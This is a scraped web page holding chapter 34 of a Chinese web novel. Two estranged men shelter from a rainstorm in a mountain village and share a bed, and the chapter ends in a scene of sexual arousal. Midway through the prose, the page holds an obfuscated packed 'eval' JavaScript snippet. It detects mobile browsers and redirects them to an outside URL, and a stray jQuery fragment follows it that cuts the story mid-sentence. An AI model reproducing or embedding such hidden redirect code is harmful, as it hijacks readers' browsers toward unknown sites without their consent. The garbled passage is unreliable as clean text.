默认冷灰
24号文字
方正启体

34. 第 34 章

作者:美式加倍本书字数:K更新时间:
    暴雨持续了一天一夜,天亮时才有了转小的迹象。下面的村民尽数疏散,该堵的地方也勉强堵住了。


    雨没有停,哗啦啦的萦绕在耳畔。傅之炀的冲锋衣上满是泥水,下身完全湿透。


    村支书让没有受到灾情影响的村民帮忙安置了一些人,剩余的,包括学生在内,都挤在这间一进的小院子里。


    温辛递来被温水浸过的毛巾:“擦擦。”


    面前的火盆发出噼啪的声响,为了防止二氧化碳中毒,房子里的门窗并没有完全关紧。


    寒气无孔不入。


    傅之炀抬头,温辛这才坐下。


    条件有限,他们都没有换衣服,好在炭火足够。温辛拧开保温杯,朝傅之炀递过去。


    房子里并不安静,温辛的同学在另一边休息。


    温辛将手伸向炭盆,烤热了,从傅之炀手里拿回湿毛巾:“手。”


    这是他们见面后的第三句话。


    傅之炀嘴唇动了动,依然没有发出声音。唯恐温辛听见他的声音,想起那些不愉快,和他承诺过的——不再出现。


    傅之炀甚至想,如果温辛可以失忆,就太好了。


    温辛帮他擦掉了手上干涸的污泥,从始至终都没有问他为什么出现在这里。


    让傅之炀稍觉安心,却不敢懈怠,尽可能地降低自己的存在感,只在温辛问他,怎么湿这么厉害时开口,说:“不要紧。”


    下山的路走不通。村子里医疗设施落后,只能看一些伤寒感冒,温辛的杯子里装着刚煮好不久的姜茶,拧开晾了一会儿,已经不太热了。


    “喝吧。”他对傅之炀说:“这时候如果生病会很麻烦。”


    语气里听不出什么,让人难以辨别,他究竟是关心,还是觉得傅之炀很麻烦。


    傅之炀希望是前者,尽管不现实。


    “你喝了吗?”他问。


    温辛嗯一声,看见不远处林丛站了起来,便起身,傅之炀立刻跟起来。


    “你待在这。”温辛停住:“我一会儿回来。”


    琥珀色的眸子凝过来,傅之炀坐回去,只用眼睛盯着,见温辛走去林丛身边,眉头不自觉蹙起来。


    他的老师未免有点太年轻了。


    二人说了几句话,温辛回到傅之炀身边,感受到身旁传递来的气息和温度,傅之炀的身体才放松。


    杯子里的茶剩了三分之一,温辛拿起来,喝了剩下的。


    傅之炀怔了下,心里升腾出的一小撮火苗没等燃烧,便兀自熄灭,陷入了另一种绝望。


    如果连厌恶都没有剩下,那他在温辛心里,就真的什么都不是了。


    温辛不在乎他,所以对他的出现反应平淡,对温辛而言,傅之炀和他的同学,这间房子里的任何一个人,或许都不存在区别。


    傅之炀有点不能接受。


    午饭是其他村民提供的,除了热汤,还有一些泡面。为了避免出现上次的情况,温辛打算去找村民借厨房,煮点别的东西给他。傅之炀没让:“不用麻烦。”


    不想让温辛觉得他麻烦,是拖累,尽管对香菇鸡蛋面的味道感到难以忍受,傅之炀依然捏着鼻子咽了下去。


    晚上雨小了点。他们被随机安排去不同的村民家里过夜,等明天帐篷送上来,再另行安置。


    傅之炀听到那个年轻村官这么说时,表情一下变得难看。惨白着一张脸,站在人群里十分突兀。


    同学见状碰了碰温辛的手臂:“你哥是不是生病了?”


    傅之炀倏地望过去,尚没有对这个称谓联想更多,就听温辛说:“没有。”


    林丛和村支书沟通了,希望他们可以尽量把他的学生们安排到一起,互相有个照应。


    对方清点了一下人数,爽快应了:“没问题。”对于突然多出来的傅之炀也展现了友好,即使傅之炀的脸色始终阴沉,格格不入。


    也许是觉得他过于明显的情绪会影响到其他人,温辛这时开口:“他跟我住。”


    —


    萍山村不算落后。


    前几年国家大力扶持乡镇建设,个别村民盖上了小楼,其余的大多住上了平房。


    温辛在内的几个学生被安排进一栋二层楼房。


    屋主是一对五十出头的夫妻,家里孩子都毕业上班了,空出三间屋子。


    两个人都姓陈。妻子叫陈玉霞,她帮忙拿了几床被子,告诉他们,卫生间在一楼,只是没有热水。


    “好几天没出太阳,烧一回得半个钟头,洗澡不够。”


    村子里装得大多是太阳能,使用起来不是那么便捷。好在众人待了有阵子,在卫生方面已经没那么讲究。


    傅之炀不行。


    他从听到没有热水的时候眉头就隐隐蹙了一些,但没开口。


    房间布置简单,一把方凳,一张床。窗外冷风呼啸,大雨砸在玻璃上,显得空荡荡的屋子愈加冷清。


    温辛一直没进来。傅之炀几次想要下楼去找,又担心温辛是因为不想看见他所以迟迟没有回到房间,来回踱了几圈,门外终于传来脚步声。


    不早了,整个萍山村漆黑一片,如同一个巨大的黑洞。只有呼啸的风,剧烈的雨。


    温辛出现在视线里。他换了睡衣,套在羽绒服里面,头发有些湿潮。


    傅之炀停止了踱步。


    温辛出现后,他便异常安静,连呼吸都变得谨慎。直到温辛开口,对他说:“来吧。”


    傅之炀才仿佛被触发了语言功能:“去哪?”


    温辛回答:“洗澡。”


    太阳能烧水非常慢。温辛一直等到他的同学都回到房间,才询问陈玉霞可不可以再烧一桶。


    “可以是可以,但得半夜了。”


    陈玉霞问他知不知道怎么用,温辛点头。


    把傅之炀带到卫生间,交代说:“放东西轻一点,这里隔音不好,不要打扰他们休息。”


    可能他本身就是一个友好的人,对于讨厌的傅之炀也愿意给予一些好意。傅之炀这么告诉自己的同时,心中升腾起了一股强烈的不甘和不知应该对谁抒发的怨恨。


    他不特殊,他和温辛在路上擦肩而过的陌生人没有任何区别,是可有可无的存在,因为不在乎,所以容忍和他见面,共处一室。


    这种感觉几乎要让傅之炀发疯,下意识去摸口袋里的药,发现外套并没有拿下来。


    大约二十分钟,卫生间的门才打开。


    傅之炀看见温辛。


    他坐在楼梯口,手里拿了个笔记本,开了一盏很小的灯,头发干了,暖黄色的光晕铺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480571|185620||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在身上,就连指尖都仿佛被镀上了一层色彩。


    听见声音,将本子合了起来,就像专程在这里等他。


    傅之炀忽然平静了。


    因为人多,每个房间只分到了一床被子,枕头倒是足够,听说是自己做的,能嗅到淡淡的草药香。


    傅之炀的外套挂了起来,香皂清爽的味道萦绕在鼻腔。


    床不大,一米五宽,翻个身就能触及到对方,被子里的温暖和窗外的暴雨形成了一种鲜明的对比。


    这是近两年来,他们距离最近的一次。


    农村的夜晚伸手不见五指,窗外狂风暴雨,或许是太累,温辛竟然忘记质问他为什么不遵守诺言。


    他悄无声息,仿佛睡熟,安静得让傅之炀对他的存在感到些许不真实。十分小心地靠近了一些,听见温辛均匀的呼吸和心跳,才确定,温辛就躺在他的身边。


    渐渐的,枕头里散发出的草药的味道被另一种气味儿覆盖,尽管浅淡,却无孔不入,丝丝缕缕缠绕上来,直到填满傅之炀整个身体。


    是久违的,独属于温辛的味道。


    就像是某种兴奋剂,不用撩拨,轻而易举就让他产生了反应,在傅之炀完全没意识到的情况下。


    他的精神平静了,身体却变得兴奋。


    傅之炀不得不退后。


    大约是太久没有这种感觉,傅之炀的精神也开始随着身体的亢奋而亢奋,感官在黑暗中放大,不论是被子里传递过来的温度,还是那似有若无纠缠他的无形的热源,都能让他振奋,起到催化的作用。


    难以自制。


    傅之炀不想温辛察觉,于是翻了个身,脸埋在枕头里,无声地呼了口气。


    尽可能轻轻地,在不惊动对方的前提下。


    只是呼吸越来越重,感官屏蔽了窗外的风雨,整个世界都在变得安静,只剩喘息,和身后传来的,若有似无的温度。


    慢慢的,傅之炀整张脸埋进了枕头,克制住了转身的念头。


    身体的快感和思想碰撞,一时竟难以分辨,究竟是快乐,还是痛苦更多。


    粗重的喘息闷在枕头里,傅之炀不敢发出声音。


    他见到温辛,话都没有说几句,却像个变态似的,躺在他的身边,用想象他,用鼻腔萦绕的丝丝缕缕的味道,来抚慰和满足自己。


    这很卑鄙。


    他几乎能够想象,如果温辛这时醒来,会对他流露出一种怎样的目光。


    傅之炀停不下来,在持续不断地动作中感到绝望。


    他既不能真的离开温辛,又不敢随心所欲地迫使温辛回到他的身边,他总有一天会疯掉,傅之炀在渐快的频率中这样想。


    突然,身后始终保持着一定距离的热源靠了过来。傅之炀猛地僵住,连呼吸都忘记了。


    温暖的身体凑过来,随着呼吸频率的改变,傅之炀的血液都随之凝固。


    完了。


    诡异的是,想象中的场景并未发生。


    温辛一言未发地探来了一只手,额头磕在傅之炀的后心,温热的手掌覆盖上来,带着些将醒未醒的哑:“你的呼吸有点吵。”


    像在埋怨,语气却那样平常


    他的指尖带着电流,只是一碰,就让傅之炀的身体连同着大脑,一起麻痹了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)